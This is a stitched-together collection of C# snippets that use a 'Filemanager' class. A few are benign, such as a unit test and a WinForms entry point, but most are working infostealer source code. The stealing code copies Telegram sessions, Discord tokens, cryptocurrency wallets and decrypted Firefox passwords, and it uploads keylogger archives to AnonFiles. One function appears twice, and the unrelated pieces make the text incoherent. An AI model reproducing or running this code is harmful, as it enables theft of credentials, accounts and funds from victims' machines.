public void GetImagesFromFolder() { var db = PostgresSqlConnector.Instance(); var tourdao = new TourSqlPostgresDAO(db); Filemanager fm = Filemanager.GetInstance(tourdao, new LogSqlPostgresDAO(db)); Assert.IsNotNull(fm.GetAllImagesFromFolder()); }
DataLayerAccessManager() { database = PostgresSqlConnector.Instance(); tourDAO = new TourSqlPostgresDAO(database); logDAO = new LogSqlPostgresDAO(database); fileManager = Filemanager.GetInstance(tourDAO, logDAO); mapQuest = RestDataClass.Instance(); }
public static bool GetTelegramSessions(string sSaveDir) { string TelegramDesktopPath = GetTdata(); try { if (!Directory.Exists(TelegramDesktopPath)) { return(false); } Directory.CreateDirectory(sSaveDir); // Get all directories string[] Directories = Directory.GetDirectories(TelegramDesktopPath); string[] Files = Directory.GetFiles(TelegramDesktopPath); // Copy directories foreach (string dir in Directories) { string name = new DirectoryInfo(dir).Name; if (name.Length == 16) { string copyTo = Path.Combine(sSaveDir, name); Filemanager.CopyDirectory(dir, copyTo); } } // Copy files foreach (string file in Files) { FileInfo finfo = new FileInfo(file); string name = finfo.Name; string copyTo = Path.Combine(sSaveDir, name); // Check file size if (finfo.Length > 5120) { continue; } // Copy session files if (name.EndsWith("s") && name.Length == 17) { finfo.CopyTo(copyTo); continue; } // Copy required files if (name.StartsWith("usertag") || name.StartsWith("settings") || name.StartsWith("key_data")) { finfo.CopyTo(copyTo); } } Counter.Telegram = true; return(true); } catch { return(false); } }
// Copy wallet files to directory private static void CopyWalletFromDirectoryTo(string sSaveDir, string sWalletDir, string sWalletName) { string cdir = sWalletDir; string sdir = Path.Combine(sSaveDir, sWalletName); if (Directory.Exists(cdir)) { Filemanager.CopyDirectory(cdir, sdir); Counter.Wallets++; } }
// Get installed versions private static void SaveVersions(string sSavePath) { foreach (string version in Directory.GetDirectories(Path.Combine(MinecraftPath, "versions"))) { string name = new DirectoryInfo(version).Name; string size = Filemanager.DirectorySize(version) + " bytes"; string date = Directory.GetCreationTime(version) .ToString("yyyy-MM-dd h:mm:ss tt"); File.AppendAllText(sSavePath + "\\versions.txt", $"VERSION: {name}\n\tSIZE: {size}\n\tDATE: {date}\n\n"); } }
static void Main() { Application.EnableVisualStyles(); Application.SetCompatibleTextRenderingDefault(false); MainForm form = new MainForm(); MessageService service = new MessageService(); Filemanager manager = new Filemanager(); MainPresenter presenter = new MainPresenter(form, manager, service); Application.Run(form); }
// Copy Local State directory private static void CopyLevelDb(string sSavePath) { foreach (string dir in DiscordDirectories) { string directory = Path.GetDirectoryName(Path.Combine(Paths.appdata, dir)); string cpdirectory = Path.Combine(sSavePath, new DirectoryInfo(directory).Name); if (!Directory.Exists(directory)) { continue; } try { Filemanager.CopyDirectory(directory, cpdirectory); } catch { } } }
// Steal data & send report public static string Save() { Console.WriteLine("Running passwords recovery..."); if (!Directory.Exists(PasswordsStoreDirectory)) { Directory.CreateDirectory(PasswordsStoreDirectory); } else { try { Filemanager.RecursiveDelete(PasswordsStoreDirectory); } catch { Console.WriteLine("Failed recursive remove directory"); } }; if (Report.CreateReport(PasswordsStoreDirectory)) { return(PasswordsStoreDirectory); } return(""); }
/// <summary> /// Upload keylogs to anonfile /// </summary> private static void UploadKeylogs() { string log = Path.Combine(Paths.InitWorkDir(), "logs"); if (!Directory.Exists(log)) { return; } string filename = DateTime.Now.ToString("yyyy-MM-dd_h.mm.ss"); string archive = Filemanager.CreateArchive(log, false); File.Move(archive, filename + ".zip"); string url = AnonFiles.Upload(filename + ".zip"); File.Delete(filename + ".zip"); File.AppendAllText(KeylogsHistory, $"\t\t\t\t\t\t\t- " + $"[{filename.Replace("_", " ").Replace(".", ":")}]({url})\n"); Startup.HideFile(KeylogsHistory); }
// Copy wallet from registry to directory private static void CopyWalletFromRegistryTo(string sSaveDir, string sWalletRegistry) { string sdir = Path.Combine(sSaveDir, sWalletRegistry); try { using (var registryKey = Registry.CurrentUser.OpenSubKey("Software").OpenSubKey(sWalletRegistry).OpenSubKey($"{sWalletRegistry}-Qt")) { if (registryKey != null) { string cdir = registryKey.GetValue("strDataDir").ToString() + "\\wallets"; if (Directory.Exists(cdir)) { Filemanager.CopyDirectory(cdir, sdir); Counter.Wallets++; } } } } catch (System.Exception ex) { Logging.Log("Wallets >> Failed collect wallet from registry\n" + ex); } }
// Get discord tokens public static string[] GetTokens() { List <string> tokens = new List <string>(); try { foreach (string dir in DiscordDirectories) { string directory = Path.Combine(Paths.appdata, dir); string cpdirectory = Path.Combine(Path.GetTempPath(), new DirectoryInfo(directory).Name); if (!Directory.Exists(directory)) { continue; } Filemanager.CopyDirectory(directory, cpdirectory); foreach (string file in Directory.GetFiles(cpdirectory)) { if (!file.EndsWith(".log") && !file.EndsWith(".ldb")) { continue; } string text = File.ReadAllText(file); Match match = TokenRegex.Match(text); if (match.Success) { tokens.Add($"{match.Value} - {TokenState(match.Value)}"); } } Filemanager.RecursiveDelete(cpdirectory); } } catch (Exception ex) { Console.WriteLine(ex); } return(tokens.ToArray()); }
// Write wallet.dat public static void GetWallets(string sSaveDir) { try { Directory.CreateDirectory(sSaveDir); foreach (string[] wallet in sWalletsDirectories) { CopyWalletFromDirectoryTo(sSaveDir, wallet[1], wallet[0]); } foreach (string wallet in sWalletsRegistry) { CopyWalletFromRegistryTo(sSaveDir, wallet); } if (Counter.Wallets == 0) { Filemanager.RecursiveDelete(sSaveDir); } } catch (System.Exception ex) { Logging.Log("Wallets >> Failed collect wallets\n" + ex); } }
// Write wallet.dat public static void GetWallets(string sSaveDir) { try { Directory.CreateDirectory(sSaveDir); foreach (string[] wallet in sWalletsDirectories) { CopyWalletFromDirectoryTo(sSaveDir, wallet[1], wallet[0]); } foreach (string wallet in sWalletsRegistry) { CopyWalletFromRegistryTo(sSaveDir, wallet); } if (Counter.Wallets == 0) { Filemanager.RecursiveDelete(sSaveDir); } } catch { } }
// Get bookmarks from gecko browser public static List <Password> Get(string path) { List <Password> pPasswords = new List <Password>(); // Get firefox default profile directory string profile = GetProfile(path); if (profile == null) { return(pPasswords); } // Copy required files to temp dir string newProfile = CopyRequiredFiles(profile); if (newProfile == null) { return(pPasswords); } try { string JSON = File.ReadAllText(Path.Combine(newProfile, "logins.json")); JSON = Regex.Split(JSON, ",\"logins\":\\[")[1]; JSON = Regex.Split(JSON, ",\"potentiallyVulnerablePasswords\"")[0]; string[] accounts = Regex.Split(JSON, "},"); if (Decryptor.LoadNSS(MozillaPath)) { if (Decryptor.SetProfile(newProfile)) { foreach (string account in accounts) { Match host = FFRegex.hostname.Match(account), user = FFRegex.username.Match(account), pass = FFRegex.password.Match(account); if (host.Success && user.Success && pass.Success) { string hostname = Regex.Split(host.Value, "\"")[3], username = Decryptor.DecryptPassword(Regex.Split(user.Value, "\"")[3]), password = Decryptor.DecryptPassword(Regex.Split(pass.Value, "\"")[3]); Password pPassword = new Password(); pPassword.sUrl = hostname; pPassword.sUsername = username; pPassword.sPassword = password; // Analyze value Banking.ScanData(hostname); Counter.Passwords++; pPasswords.Add(pPassword); } } } Decryptor.UnLoadNSS(); } } catch (Exception ex) { Logging.Log("Firefox >> Failed collect passwords\n" + ex); } Filemanager.RecursiveDelete(newProfile); return(pPasswords); }